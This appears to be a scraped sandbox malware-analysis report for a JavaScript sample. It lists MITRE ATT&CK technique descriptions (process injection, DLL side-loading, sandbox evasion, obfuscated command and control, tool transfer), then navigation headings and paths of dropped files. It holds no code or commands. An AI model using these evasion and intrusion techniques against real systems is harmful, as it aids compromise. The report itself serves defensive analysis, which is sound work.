Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2609231882173488714.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8076cfd5-6e74-4838-be3a-70757f89ad68.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8b678061-3edc-4b95-b69a-dfda65c81003.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ee150.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
2609231882173488714.js